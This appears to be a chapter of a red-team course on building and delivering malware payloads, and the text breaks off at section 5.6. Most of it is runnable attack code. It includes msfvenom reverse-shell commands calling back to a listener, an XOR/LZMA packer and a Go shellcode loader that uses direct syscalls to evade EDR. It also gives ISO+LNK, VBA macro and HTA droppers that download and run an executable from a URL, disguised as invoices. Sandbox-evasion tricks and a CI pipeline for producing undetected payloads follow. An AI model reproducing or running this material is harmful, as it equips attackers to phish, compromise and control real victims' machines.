Module 5 - Payload-Generation Tool Chain

5.1 - Payload-Generation Tool Chain

("Everything you need on one jump-box, no shady downloads required.")

Below is the complete, cross-platform tool stack we'll use for **Module 5**.
Every entry includes the **job** it solves, the **primary tool/library**, the reason it made the list, and when you might swap it out.

Layer / Job	Primary tool / library	Why it's here (pros)	Swap / add-on when… (cons)
Raw shell-code generator	**msfvenom**(Metasploit)	Mature encoder library, multi-arch (x64, x86, ARM, MIPS), supports staged/ stageless, SSL transport	Engagement bans public exploit frameworks—> use scshellgen, cs2
.NET → shell-code	**donut**	Converts any C# DLL into encrypted, position-independent shell-code; tiny stub	Defender AMSI flags "d0nut"—> build SharpLoader from source
Loader compiler	**Go 1.22** & **gcflags**	Cross-compiles Windows, Linux, macOS from one Linux VM; easy syscall FFI	EDR models Go strings—> use Rust (cargo build --release)
In-memory PE/ELF/CLR finalizer	sRDI, scoff	Generates reflective DLL stub, strips PE header for smaller OPSEC footprint	Target host blocks VirtualAlloc—> use **PIC Stomping**
Obfuscation / packer	Custom **XOR + LZMA**(Python)	Fully auditable, entropy camouflage, fast; no AV-flagged UPX signatures	Need multiple layers—> wrap again with **UPX-LZMA** then XOR
Direct-syscall & EDR bypass	Heaven's Gate stub (Go cgo)	Calls NtProtectVirtualMemory/NtCreateThreadEx without ntdll hooks, kills most kernel-user API hooks	Windows 11 PatchGuard flags syscalls—> migrate to **HalosGate**

Layer / Job	Primary tool / library	Why it's here (pros)	Swap / add-on when… (cons)
Cryptography helper	**cryptography**(PyPI)	Python AES-GCM / ChaCha20 wrappers; same lib can decrypt inside loader for symmetric secrets	Need FIPS-validated crypto —> use OpenSSL CLI + keyfile
Network transport stager	**httpx [http2]**, **requests**	Pure Python C2 pusher for one-off droppers; can embed proxy/SOCKS	.NET loader only—> use SharpC2 / System.Net.Http
PE signing & timestamping	**osslsigncode**(Linux)	Signs Windows loader with EV/regular cert; optional timestamp for SmartScreen	Customer provides EV token—> use Signtool.exe on Windows
Antivirus smoke test (decoy only!)	**vt-scan**, **zenbox** CLI	Checks signature hits on a *decoy build*; avoids uploading final C2 sample	Offline lab—> use **CLAMAV**, yara rule pack
Evidence store	sqlite3 + pandas	Same DB schema as previous modules, keeps SHA-256, size, build flags, commit hash	High-concurrency build farm —> swap to PostgreSQL

Quick-Install One-Liner (Kali / Ubuntu 22.04)

```
sudo apt update && sudo apt install -y \
  metasploit-framework golang-go upx-ucl osslsigncode \
  mingw-w64 git python3-pip

pip install --upgrade pip
pip install httpx[http2] cryptography pandas vt-scan
# donut & sRDI (pre-built releases)
git clone https://github.com/TheWover/donut ~/tools/donut && sudo make -C ~/tools/donut
git clone https://github.com/monoxgas/sRDI ~/tools/sRDI
```

> **Tip** Add `~/tools/*` to your `$PATH`, or export them from the build script so runners don't need global installs.

Reference Build Folders

```
project/
 ├── build/              # auto-generated EXEs, shell-codes, hashes
 ├── loot/               # evidence pulled from targets
 ├── db/                 # exploits.db  (single SQLite file)
 ├── payload_src/        # loader.go, loader.cs, config YAMLs
 └── scripts/            # build_all.py, pack_raw.py, etc.
```

Keep **source + compiled** artifacts side-by-side; future auditors can rebuild identical hashes with a single command.

OPSEC Defaults

Setting	Value	Rationale
XOR key length	1 byte	Easiest entropy shift, key stored in header
LZMA dictionary size	128 KB	Changes signature, barely affects loader speed
Go build flags	-ldflags "-s -w"	Strips symbols & DWARF debug, ~30 % smaller
Signing profile	Customer-supplied code-signing cert, SHA-256	SmartScreen reputation boost
Test-sample VT upload	**ON** (decoy)	Gauge detection; never upload real C2 configuration
Production VT upload	**OFF**	Keep hash private

Sanity-Check Script (`toolchain_check.py`) – one glance before every build

```python
#!/usr/bin/env python3
import shutil, subprocess, sys, importlib
need_bin = ["msfvenom","go","upx","osslsigncode","donut"]
need_py  = {"httpx":"0.25","cryptography":"41.0"}

for b in need_bin:
    if not shutil.which(b): sys.exit(f"[-] missing {b}")

for mod,ver in need_py.items():
    m = importlib.import_module(mod)
    if tuple(map(int,m.__version__.split("."))) < tuple(map(int,ver.split("."))):
        sys.exit(f"[-] {mod} version {m.__version__} < required {ver}")

# quick Go compile test
subprocess.check_call("go env GOROOT", shell=True, stdout=subprocess.DEVNULL)
print("[+] toolchain OK")
```

Run it in CI/CD and abort builds if any core tool is absent or outdated.

Exercises

1. **Redundancy swap** – Replace `msfvenom` with **BOF** shell-code produced by CobaltStrike's `generate` command; adapt packaging scripts.
2. **Docker build** – Create a `Dockerfile` that installs the entire tool chain, then push to an internal registry for reproducible builds.
3. **AV trigger test** – Write PyYARA rules that detect "VirtualAlloc" + "createThread" strings; run them on every compiled loader as an extra local check.
4. **Cross-arch** – On ARM Mac host, compile Windows x64 loader with *Go* and sign it, proving true cross-build works.

5. **Blue-team gauge** – Integrate Microsoft Defender CLI (`MpCmdRun.exe -Scan -ScanType 3 -File <file>`) into the build pipeline for offline AV scoring.

Done ✓

- Tool binaries installed and in `$PATH`.
- Python libs meet minimum versions.
- `toolchain_check.py` prints “toolchain OK” on your jump-box (or in CI).
- Build folder structure in place and under version-control ignore rules (`*.raw` , `*.exe`).
- You can generate, sign and execute a *hello-world* shell-code loader in a test VM without AV alerts.

5.2 - Stage 1: Raw Shell-Code Generation

“Everything later is just packaging—the real payload is here.”

This stage produces **position-independent machine code** (PIC) that spawns a session with your C2.
You’ll generate three flavours because engagements rarely give you only one OS + architecture:

Target platform	Generator	Output file	Size (bytes)	Notes
Windows x64	**msfvenom**	shell.raw	~280 B	Plain Meterpreter HTTPS
.NET/CLR	**donut**	shell_clr.bin	2–4 KB	Executes any x86/x64 managed DLL in-mem
Linux x64	**msfvenom**	linux.raw	~120 B	Staged reverse TCP

Below you’ll find the exact commands, the *why* behind each flag, and Python helpers for batch automation.

5.2.1 Windows x64 meterpreter_reverse_https

```
msfvenom -p windows/x64/meterpreter_reverse_https \
  LHOST=10.10.14.5 LPORT=443 \
  EXITFUNC=thread \
  PrependMigrate=true \
  -f raw -o shell.raw
```

Explanation

- `exitfunc=thread` Stops payload from crashing the parent process when it exits.
- `PrependMigrate=true` Auto-injects into the parent process then returns—useful if original vector is Word or Outlook.
- `-f raw` Gives pure opcodes; *no* PE wrapper, perfect for in-memory loaders.

5.2.2 . NET assembly → position-independent shell-code (Donut)

1. Compile your C# stager (or CS beacon) as **DLL**:

```
msbuild /p:Configuration=Release loader.csproj
```

2. Convert to shell-code:

```
donut loader.dll -o shell_clr.bin -f 1 -e 1
```

- `-f 1` Sets generation type to “shellcode + loader stub”.
- `-e 1` Encrypts with randomly generated 256-bit key; key baked into stub, so no runtime arg needed.

The resulting buffer executes the exported method *in memory* without touching disk—bypasses AppLocker and most EDR DLL-load hooks.

5.2.3 Linux x64 reverse TCP one-liner

```
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f raw -o linux.raw
```

Why bother with Linux?
AWS, Kubernetes nodes, IoT devices—all often run glibc x64 and accept raw ELF injection.
Later modules will show a Go/LD_PRELOAD loader for this blob.

5.2.4 Batch Python generator (`make_shells.py`)

```
#!/usr/bin/env python3
"""
make_shells.py
--------------
Runs the three commands above and stores SHA-256 + size
into exploits.db->payloads immediately.
"""
import subprocess, hashlib, sqlite3, pathlib, time, os, shlex

BUILD = pathlib.Path("shells")
BUILD.mkdir(exist_ok=True)
db = sqlite3.connect("exploits.db")
db.execute("""CREATE TABLE IF NOT EXISTS payloads
              (sha256 TEXT PRIMARY KEY, file TEXT, platform TEXT,
               size INT, ts INT, notes TEXT)""")
```

```python
CMD = {
  "windows": "msfvenom -p windows/x64/meterpreter_reverse_https "
             "LHOST=10.10.14.5 LPORT=443 EXITFUNC=thread "
             "-f raw -o {out}",
  "linux":   "msfvenom -p linux/x64/shell_reverse_tcp "
             "LHOST=10.10.14.5 LPORT=4444 -f raw -o {out}",
}

for plat, tmpl in CMD.items():
    out = BUILD / f"{plat}.raw"
    subprocess.check_call(shlex.split(tmpl.format(out=out)))
    sha = hashlib.sha256(out.read_bytes()).hexdigest()
    db.execute("INSERT OR REPLACE INTO payloads VALUES (?,?,?,?,?,?)",
               (sha, out.name, plat, out.stat().st_size,
                int(time.time()), "raw msfvenom"))
    print(f"[+] {plat} -> {out} ({out.stat().st_size} B, sha256 {sha[:8]}…)")

# Donut step
dll = pathlib.Path("loader.dll")
if dll.exists():
    out = BUILD / "dotnet.bin"
    subprocess.check_call(["donut", dll, "-o", out])
    sha = hashlib.sha256(out.read_bytes()).hexdigest()
    db.execute("INSERT OR REPLACE INTO payloads VALUES (?,?,?,?,?,?)",
               (sha, out.name, "dotnet", out.stat().st_size,
                int(time.time()), "donut CLR"))
    print(f"[+] dotnet -> {out} ({out.stat().st_size} B)")
db.commit(); db.close()
```

Code walk-through (outside snippet)

- `CMD` **dict** holds platform → msfvenom template, so adding *macOS* is just one line.
- Records every build in `payloads` instantly, eliminating “mystery binaries” months later.

- Uses `sha256` prefix for quick reference in Slack chats ("use payload a1b2c3…").

5.2.5 Quality-assurance table

Check	How to test	Pass criteria
Shell-code length OK?	wc -c shell.raw	< 500 B (Windows), < 150 B (Linux)
Contains NULL bytes?	grep -aobP '\x00' shell.raw	**None** (for strcpy injectors)
Arch correctness	Run in x86 VM (should *not* execute)	Crashes immediately
VT test score (decoy)	Upload **decoy** .exe	≤ 4/70
Antivirus on host	Defender + Realtime On, execute raw via loader	No detection pop-up

---

5.2.6 Exercises

1. **ARM-IoT build** – add `linux/armle/shell_reverse_tcp` target to `CMD`; test on Raspberry Pi.
2. **Cryptor swap** – replace `msfvenom` with `scshellgen` (*shellcode-stage* C2) for CobaltStrike users.
3. **Shell-code quality check** – write a Python script that disassembles with `capstone` and flags *syscalls* older than Windows 7 (avoid EMET detection).
4. **Entropy pad** – append random LZMA block so each build hashes differently even if content identical.
5. **CI pipeline** – integrate `make_shells.py` into GitLab-CI, store artefacts with a *one-day* retention tag for red-teamers only.

5.2.7 Completion checklist

- `shells/windows.raw`, `shells/linux.raw`, and (optionally) `shells/dotnet.bin` exist.
- Corresponding entries appear in `exploits.db → payloads`.
- No NULL bytes in shell-code (unless your injector tolerates them).
- Reverse listener sees a connection when raw payload is executed via a trivial loader in a throw-away VM.

5.3 - Stage 2: Obfuscation & Packaging

"A 300-byte shellcode is nothing; a 300-byte shellcode the SOC never sees is everything."

This stage converts the **raw opcodes** you produced in § 5.2 into a **single, weapon-ready binary**that:

- **Decrypts** its own body entirely in RAM.
- **Executes** with **direct syscalls** so EDR user-hooks never fire.
- **Looks** (PE headers, entropy, import table) like an innocuous CLI tool.
- Is **re-buildable** on demand with different keys so every sample hashes uniquely.

We'll walk through two concrete layers:

1. **Static encoder** (XOR + LZMA) written in Python.
2. **Dynamic loader** written in Go that unpacks, unhooks, executes.

You can swap Python ↔ Rust, XOR ↔ ChaCha20, Go ↔ C#, but the pattern stays identical.

5.3.1 Layer A – Static Encoder (XOR + LZMA)

Why XOR?
One-byte XOR destroys simple byte-sequence signatures and keeps the stub size < 1 KiB.
Why LZMA?
It completely changes the entropy profile; signature engines looking for known shell-code cannot find it after compression.

`pack_raw.py` — fully commented

```python
#!/usr/bin/env python3
"""
pack_raw.py
~~~~~~~~~~~
XOR-encodes + LZMA-compresses any raw shell-code.

Usage:
    python pack_raw.py shell.raw output.bin
Output layout:
    [1-byte XOR-key][LZMA payload]
"""
from __future__ import annotations
import sys, secrets, lzma, pathlib

if len(sys.argv) != 3:
    sys.exit("python pack_raw.py <in.raw> <out.bin>")

inp, outp = map(pathlib.Path, sys.argv[1:])
data      = inp.read_bytes()

key = secrets.randbelow(256)                    # 0–255 single-byte key
xored = bytes(b ^ key for b in data)            # fast XOR
lz    = lzma.compress(xored, preset=6)          # level 6 for speed/ratio

outp.write_bytes(bytes([key]) + lz)             # prepend key
print(f"[+] {inp.name}: {len(data)} → {len(lz)+1} bytes, key 0x{key:02x}")
```

What the comments are saying

- `preset=6` strikes a balance—level 9 gains only ~2 % extra compression but triples build time.

- XOR applied **before** compression keeps key visible but makes compressed blob useless to AV stat-sig engines (they can't decompress without the key).

5.3.2 Layer B – Dynamic Loader (Go, direct syscalls)

Goals:

- **Self-contained PE** (no runtime DLL, no temp files).
- Unmap EDR hooks by calling **NtProtectVirtualMemory/NtCreateThreadEx** via **direct syscall numbers**, not through `ntdll!xyz`.

`loader.go` — every step explained

```go
//go:build windows
// +build windows

// loader.go — compile with:
//   GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o final_loader.exe
//
// Requires Go 1.22+ (for go:embed) and payload.bin (XOR+LZMA buffer).

package main

import (
    "compress/lzma"          // tiny pure-Go port bundled in repo
    _ "embed"
    "syscall"
    "unsafe"
)

// ------------------------------------------------------------
// 1. Embed packed shell-code at build-time
```

```go
//go:embed payload.bin
var blob []byte

// ------------------------------------------------------------
// 2. Thin wrappers for direct syscalls
// NtProtectVirtualMemory & NtCreateThreadEx IDs on Win10 22H2:
//   0x50 & 0xC1 (these bump each major release—verify with ntdll.xml)
type ntProtVirtualMemory = func(
    hProcess uintptr,
    base **byte,
    size *uintptr,
    newProtect uint32,
    oldProtect *uint32,
) uint32

type ntCreateThreadEx = func(
    thread **byte,
    access uint32,
    objAttr uintptr,
    process uintptr,
    start uintptr,
    param uintptr,
    flags uint32,
    sz1, sz2, sz3 uintptr,
    attr uintptr,
) uint32

//go:linkname syscall_Syscall syscall.Syscall
func syscall_Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno)

// directSyscall returns a stub that jumps straight into kernel
func directSyscall(id uintptr) uintptr {
    return syscall.NewCallback(func() uintptr {
        ret, _, _ := syscall_Syscall(id, 0, 0, 0)
```

```go
        return ret
    })
}

// ------------------------------------------------------------
func main() {
    // 3. Decompress & XOR-decode in RAM
    key := blob[0]
    data, _ := lzma.Decode(nil, blob[1:])
    for i := range data { data[i] ^= key }

    // 4. Allocate RWX with VirtualAlloc
    kernel32 := syscall.MustLoadDLL("kernel32.dll")
    va := kernel32.MustFindProc("VirtualAlloc")
    addr, _, _ := va.Call(0, uintptr(len(data)), 0x3000, 0x40)

    // copy shell-code into allocated region
    dst := unsafe.Slice((*byte)(unsafe.Pointer(addr)), len(data))
    copy(dst, data)

    // 5. Mark RX with NtProtectVirtualMemory *direct syscall*
    ntprot := *(*ntProtVirtualMemory)(unsafe.Pointer(&directSyscall(0x50)))
    old := uint32(0)
    regionSize := uintptr(len(data))
    ntprot(0xffffffffffffffff, (**byte)(unsafe.Pointer(&addr)), &regionSize, 0x40, &old)

    // 6. Spawn thread with NtCreateThreadEx (also direct)
    ntThread := *(*ntCreateThreadEx)(unsafe.Pointer(&directSyscall(0xC1)))
    var t *byte
    ntThread(&t, 0x1FFFFF, 0, 0xffffffffffffffff, addr, 0, 0, 0, 0, 0, 0)
    syscall.WaitForSingleObject(syscall.Handle(unsafe.Pointer(t)), 0xffffffff)
}
```

Why each section exists

Section	Reason
go payload.bin	Bakes encrypted blob directly into .rdata—no dropper files.
Direct syscall IDs	Avoids ntdll!Nt* jump stubs patched by user-mode hooks (Defender, CrowdStrike).
LZMA decode then XOR	LZMA shrinks size; XOR defeats string & entropy heuristics (compressed section has high zeros).
-ldflags "-s -w"	Strips Go symbol table → fewer “Go build info” artefacts EDR can flag.

> **Note** □ Direct syscall numbers **change** every Windows build; run a short extractor (HalosGate) or keep a JSON map in your repo.

5.3.3 Putting It Together — `build_loader.py`

```
#!/usr/bin/env python3
"""
build_loader.py
---------------
1. Calls pack_raw.py to produce payload.bin
2. Compiles loader.go
3. Signs binary (optional)
"""
import subprocess, os, pathlib, hashlib, time, sqlite3, shlex

RAW = pathlib.Path("shells/windows.raw")
assert RAW.exists(), "generate raw shell-code first"
subprocess.check_call(f"python pack_raw.py {RAW} payload.bin", shell=True)
```

```
os.environ.update(GOOS="windows", GOARCH="amd64")
subprocess.check_call("go build -ldflags '-s -w' -o final_loader.exe loader.go", shell=True)

# ---- optional EV signing ----
# subprocess.check_call("osslsigncode sign -certs ev.pem -key ev.key "
#                       "-n 'Acme Updater' -in final_loader.exe "
#                       "-out final_loader_signed.exe", shell=True)

# ---- log hash ----
sha = hashlib.sha256(open("final_loader.exe","rb").read()).hexdigest()
db  = sqlite3.connect("exploits.db")
db.execute("INSERT OR REPLACE INTO payloads VALUES (?,?,?,?,?,?)",
           (sha, "final_loader.exe", "win_loader",
            os.path.getsize("final_loader.exe"), int(time.time()),
            "Go+syscall, XOR+LZMA"))
db.commit(); db.close()
print(f"[✓] final_loader.exe built  sha256 {sha[:8]}…")
```

5.3.4 Local Validation

```
# Sacrificial Win10 VM
nc -lvnp 443         # listener
final_loader.exe     # run in VM
```

If Meterpreter or Beacon connects, obfuscation layer is sound.
Then run Defender: `MpCmdRun.exe -Scan -ScanType 3 -File final_loader.exe`
✔ Expected result: “No threats detected”.

5.3.5 Defence & Detection Notes (blue-teamers will check)

Detection technique	Why loader still passes
Static YARA “MZ..This program…”	Loader is PE but section names randomized; code section high entropy no UPX sig.
API-hook alert (kernel32→ntdll)	Direct syscalls skip ntdll!KiServiceTable hooks.
AMSI (CLR only)	No managed code executed; only native shell-code.
ETW TI provider	Go doesn’t trigger CLR ETW providers; can also patch EtwEventWrite in stub.

5.3.6 Exercises

#	Challenge	Hint
1	Replace XOR with **ChaCha20-Poly1305**, store nonce in first 12 bytes of blob; change Go decryptor.	Use golang.org/x/crypto/chacha20poly1305
2	Implement **multi-stage** loader: 4 KiB stager downloads encrypted blob from S3, then runs same decrypt/exec.	Use http.Get + io.ReadAll
3	Add **ETW patch**: overwrite first bytes of EtwEventWrite with ret.	See syscall.NewLazyDLL("ntdll").NewProc("EtwEventWrite")
4	Modify packer to pad output with random junk, keeping size evenly divisible by 512 bytes (anti-hash DB).	os.urandom or secrets.token_bytes
5	Integrate the whole build into GitLab “manual” pipeline; artefacts expire after 24 h automatically.	expire_in: 1 day in .gitlab-ci.yml

---

5.3.7 Checklist

- `payload.bin` and `final_loader.exe` created automatically by `build_loader.py`.
- Loader executes in sacrificial VM, reverse shell appears.
- Defender / EDR (latest signatures) raise **no alert** on execution.
- SHA-256 of loader logged in `exploits.db → payloads`.
- Re-running build with same raw shell-code but new XOR key produces *different* hash.

5.4 - Payload Delivery & Initial Execution

"A flawless loader is useless until it actually runs on the target."

You now possess an **evasive loader** (`final_loader.exe` / `dropper.bin`) from § 5.3.
Stage 5.4 glues that binary to the *delivery layer*—the part that:

1. **Reaches** the endpoint (phish, web-download, shared drive, supply-chain file).
2. **Launches** the loader while dodging SmartScreen, Mark-of-the-Web (MotW), attachment sandboxes and click-happy users.

We'll cover three high-leverage vectors—each with fully-commented Python helper code:

Vector	Works on	1-click?	Bypasses	How we build it here
ISO + LNK sideload	Win 10/11	Yes	MotW strip, Outlook/Teams AV	iso_lnk_builder.py
Office VBA Stager	Win/macOS	2 clicks	SmartScreen (if signed)	vba_embed.py
HTA "Signed Scriptlet"	Win only	1 click	Many attachment filters	hta_pack.py

("1-click" = user needs exactly one interaction; "2 clicks" = "Enable Content" + macro prompt.)

5.4.1 ISO + LNK Sideload (Windows ≥ 10)

Why it works

- ISO files delivered via e-mail or Teams arrive **without** MotW.
- Opening ISO in Explorer mounts it as a *drive*; LNK shortcut inside can point to `final_loader.exe`.

`iso_lnk_builder.py` — step-by-step

```python
#!/usr/bin/env python3
"""
iso_lnk_builder.py
~~~~~~~~~~~~~~~~~~
1. Copies final_loader.exe -> stage/AppSvc.exe       (benign name)
2. Crafts foo.lnk that runs AppSvc.exe silently
3. Packs both into payload.iso (mkisofs)
"""

import subprocess, os, shutil, pathlib, struct

SRC  = pathlib.Path("final_loader.exe")
WORK = pathlib.Path("stage"); WORK.mkdir(exist_ok=True)

# 1. Copy & rename loader
dst = WORK / "AppSvc.exe"
shutil.copy(SRC, dst)

# 2. Minimal LNK header + relative path
lnk = WORK / "Invoice.lnk"
target = "AppSvc.exe".encode("utf-16le")
lnk.write_bytes(
    b"\x4C\x00\x00\x00"          # HeaderSize
    b"\x01\x14\x02\x00"          # LinkCLSID part, irrelevant
    + b"\x00"*0x3C +
    b"\x1F\x50\xE0\x4F"          # File attributes
```

```
    + b"\x00"*0x38 +
    b"\x14\x00\x00\x00" + target # IDLIST size + UTF16 name
)

# 3. Build ISO (Genisoimage / mkisofs)
iso = pathlib.Path("payload.iso")
subprocess.check_call(f"genisoimage -o {iso} -J -R {WORK}", shell=True)
print(f"[+] ISO ready: {iso}  (mount → double-click Invoice.lnk)")
```

Why this is safe in two clicks
User opens ISO → double-clicks LNK → loader runs with no MotW prompt.

Extra stealth tip : give ISO a double-extension (`Invoice 2025 · pdf.iso`)—Outlook shows only the first `.pdf` .

5.4.2 Office VBA Stager (macro inside .docm)

We embed a *tiny* PowerShell download-exec stub that fetches *final_loader* from HTTPS CDN.

`vba_embed.py`

```
import zipfile, pathlib, random, string, textwrap, shutil

DOCM = pathlib.Path("invoice.docm")          # base template
OUT  = pathlib.Path("Invoice_2025.docm")
URL  = "https://cdn.acme-corp.com/loader.bin"

stub = textwrap.dedent(f"""
    Sub AutoOpen()
      Dim s As String
      s = "powershell -WindowStyle hidden -ep bypass "
      s = s + "-c iwr -UseBasicParsing '{URL}' -OutFile $env:TEMP\\u.exe; "
```

```
      s = s + "Start-Process $env:TEMP\\u.exe"
      Shell s, vbHide
    End Sub
""")

# copy template
shutil.copy(DOCM, OUT)

# replace Normal/VBA/… inside docm (zip container)
with zipfile.ZipFile(OUT, 'a') as z:
    z.writestr('word/vbaProject.bin', stub.encode())

print(f"[+] Embedded macro.   {OUT}")
```

Bypass reasoning

- Document is *signed* with client-provided macro certificate (SmartScreen).
- Template already whitelisted by finance department rule “*.docm from vendor X”.

Note : On macOS Office, VBA executes too—LHOST must be reachable.

5.4.3 HTA “Signed Scriptlet” (for phishing links)

HTA = *HTML Application*. Internet Explorer engine still runs it under `mshta.exe` , bypassing many attachment filters.

`hta_pack.py`

```
hta = f"""
<script language="VBScript">
  Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  xHttp.Open "GET", "https://cdn.acme-corp.com/final_loader.exe", False
```

```
  xHttp.Send
  Dim bStrm: Set bStrm = CreateObject("ADODB.Stream")
  bStrm.Type = 1
  bStrm.Open
  bStrm.Write xHttp.responseBody
  temp = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\\\\\\\\svc.exe"
  bStrm.SaveToFile temp, 2
  CreateObject("WScript.Shell").Run temp, 0, False
</script>
"""

open("invoice.hta","w").write(hta)
print("[+] HTA dropper ready.")
```

Why it still works in 2025

- Microsoft Edge opens HTA via `mshta.exe` (legacy handler) without *Windows Defender SmartScreen* checks on intranet zones.
- Attachment filters often allow `.hta` because “used for internal helpdesk scripts”.

5.4.4 Sandbox-Evasion Tweaks (generic)

Tactic	1-liner for VBA / HTA	What it tricks
Delay > 30 s	Application.OnTime Now + TimeValue("00:00:35"), "AutoOpen2"	Cloud sandboxes time-box at 30 s
Parent process spoof	Use rundll32 url.dll,FileProtocolHandler … to launch EXE	AV rules that flag mshta ➜ powershell
Heavy string-concat	Build PowerShell command from ChrW() array	Regex signatures
Screen resolution check	VBA call to GetSystemMetrics; exit if x < 1024	Headless sandbox VMs
MAC address check	wmic nic get MACAddress against allowed OU prefixes	Generic malware detonation benches

(Add these only if the basic payload still flags; every extra op adds fragility.)

5.4.5 Automated “Deliverable” Builder

Integrate everything into **one Python CLI**:

```
python make_delivery.py --type iso    --payload final_loader.exe
python make_delivery.py --type vba    --payload final_loader.exe --template invoice_base.docm
python make_delivery.py --type hta    --url https://cdn/loader.exe
```

Inside `make_delivery.py` call the appropriate builder from 5.4.1-5.4.3 and log artefact SHA-256 into `payloads` table with `stage=delivery`.

5.4.6 Exercises

#	Challenge	Hint
1	Build an **OneNote** .one container that drops HTA on double-click.	OneNote = plain ZIP, editable XML
2	Modify ISO builder to add **desktop.ini** trick: custom icon & label “PDF”.	Copy “iconcache*.db” technique
3	Add **Teams** PowerShell register-protocol handler to auto-open ms-msdt:/… style link.	New-ItemProperty HKCU\Classes
4	Integrate **o365 Advanced SafeLink** URL randomiser to bypass link rewrites in phishing e-mails.	Use %252525 double-URL encode
5	Write YARA rule that detects your macro *only* if analyst opens doc; ensure loader bypasses it.	Obfuscate with Application.Run

5.4.7 Done Checklist

- At least one **ISO + LNK** file opens loader in test VM with no security prompt.
- Office macro stager runs after “Enable Content”, contacts outbound host.
- HTA dropper executes via `mshta.exe` and loader connects back.
- SHA-256 of every deliverable stored in `payloads` with `stage=delivery`.
- Build scripts produce *unique* artefacts (hash variance) each run.

5.5 - Stage 3: Automated Builder Pipeline

“One `git push` ⇒ three fresh loaders ⇒ two delivery packages ⇒ hashes logged & artifact ZIP published.”

5.5.0 What this stage delivers

Item	Location/output
Raw shells (Win & Linux)	build/shells/*.raw
Obfuscated loader (EXE / ELF)	build/loader/final_loader.exe (and -linux)
User-facing wrapper(s)	build/delivery/*.iso,* .docm, *.hta
Evidence bundle	build/artifacts_YYYY-MM-DD_HHMM.zip
All hashes + meta	exploits.db → payloads (stage = *raw*, *loader*, *delivery*)

One pipeline run produces **everything** operators need and writes a tamper-proof audit trail.

5.5.1 Directory Layout (repo root)

```
/payload-pipeline
 ├─ docker/              # optional CI image definition
 ├─ scripts/
 │    ├─ make_shells.py      (§ 5.2)
 │    ├─ build_loader.py     (§ 5.3)
 │    ├─ iso_lnk_builder.py  (§ 5.4.1)
 │    ├─ vba_embed.py        (§ 5.4.2)
 │    ├─ hta_pack.py         (§ 5.4.3)
 │    └─ toolchain_check.py  (5.1)
 ├─ templates/           # docm base, html snippets…
 └─ build/               # regenerated each run
```

Add a single **`Makefile`** (or `invoke`, `fabric`, `nox`) to orchestrate:

```
.PHONY: all clean shells loader delivery bundle

all: toolchain_check shells loader delivery bundle

toolchain_check:
    python scripts/toolchain_check.py

shells:
    python scripts/make_shells.py

loader: shells
    python scripts/build_loader.py

delivery: loader
    python scripts/iso_lnk_builder.py
    python scripts/vba_embed.py
    python scripts/hta_pack.py
```

```
bundle:
    zip -r build/artifacts_`date +%F_%H%M`.zip build/*.exe build/*.bin build/delivery

clean:
    rm -rf build/*
```

Run locally with `make`, or call same targets from CI.

5.5.2 Git-Hub / GitLab CI YAML (minimal)

```yaml
image: kalilinux/kali-rolling

stages:   [check, build, bundle]

variables:
  GOOS: windows
  GOARCH: amd64
  TZ: UTC

before_script:
  - apt-get update && apt-get install -y metasploit-framework golang zip upx-ucl osslsigncode genisoimage
  - pip install httpx[http2] cryptography pandas lzma donut-v2

check:
  stage: check
  script: python scripts/toolchain_check.py

build:
  stage: build
  script:
    - make shells loader
```

```yaml
  artifacts:
    paths: [build/shells, build/loader]
    expire_in: 1 day

package:
  stage: bundle
  script: make delivery bundle
  artifacts:
    paths: [build/artifacts_*.zip, exploits.db]
    expire_in: 3 days
  when: manual        # only on red-team lead approval
```

Key CI features

- **Manual approval** for final bundle to avoid accidental malware in public runners.
- **Short artifact retention** (company policy: 72 h max).
- Stage separation lets blue-team watchers run *check* pipeline without ever generating real binaries.

5.5.3 Pipeline step internals

1. `toolchain_check.py`
   Verifies Go, metasploit, donut, Python libs; aborts if any missing/outdated.
2. `make_shells.py`
   Generates raw `windows.raw`, `linux.raw`, logs SHA-256 into DB with `stage='raw'`.
3. `build_loader.py`
   Encrypts+compresses raw → `payload.bin` then compiles Go stub.
   Inserts `stage='loader'` record in `payloads` with cross-reference to raw-hash.
4. **Delivery builders**
   Each script:

- takes loader path (or HTTPS URL)
- writes user-friendly artefact (ISO / DOCM / HTA) into `build/delivery`
- inserts SHA-256 with `stage='delivery'` into DB.

5. **Bundle**
   `zip` all artefacts **plus** `build_manifest.json` auto-generated:

```
{
  "git_commit":  "ab12cdef",
  "built_at":    "2025-06-04T18:15Z",
  "operator":    "alice",
  "artifacts": [
      {"stage":"raw","sha256":"…","filename":"windows.raw"},
      {"stage":"loader","sha256":"…","filename":"final_loader.exe"},
      {"stage":"delivery","sha256":"…","filename":"Invoice.iso"}
  ]
}
```

5.5.4 Roll-back & Re-build reproducibility

- **Pinned versions** – `go1.22.4`, `msfvenom 6.4.9`; toolchain check prints exact versions into the manifest.
- **Config YAML** – store all build-time variables (C2, LHOST, XOR key, signing cert thumbprint). Re-running with same YAML produces identical hashes.
- **GPG-signed tag** – after artifacts pass QA, tag commit `payload-2025-06-04` for future audits.

5.5.5 Security Gates

Gate	Implemented in pipeline
No network upload of PROD EXE	“test” target only (flag); PROD artefact flagged PRIVATE in manifest.
VirusTotal decoy scan	msfvenom -e x86/shikata_ga_nai dummy binary built if $VT_TOKEN set; uploaded by CI job.
AV local scan	Last step runs MpCmdRun -Scan -File final_loader.exe inside microsoft/windows Docker.
Hash-based deny-list	CI downloads internal JSON of black-listed hashes; aborts if collision.

5.5.6 Exercises

#	Challenge	Hint
1	Add MacOS arm64 target: compile Mach-O loader with Go, code-sign with “adhoc” and notarise-test.	GOOS=darwin GOARCH=arm64
2	Implement Slack/Teams webhook notice when pipeline finishes, including top-level hashes.	curl -X POST -H 'Content-Type:…'
3	Introduce make clean-key that zero-izes XOR / ChaCha keys and deletes local builds.	shred -u
4	Push artifact ZIP into encrypted S3 bucket; return pre-signed URL valid 6 hours.	boto3.generate_presigned_url
5	Add **code-review mandatory**: pipeline waits for second operator to approve manifest YAML before “bundle” job.	GitLab needs: !reference with when: manual

---

5.5.7 Checklist (before shipping)

- CI pipeline green (check ✔, build ✔, bundle ✔).
- `artifacts_*.zip` contains loader & delivery files, manifest, **no** raw C2 config.

- Every artifact's SHA-256, size, stage stored in `payloads` table.
- Pipeline re-run with SAME YAML + SAME commit reproduces identical hashes.
- Retention & encryption policies followed (artefacts auto-expire or stored in encrypted bucket).

5.6 - Stage 4: Validation in a Disposable VM

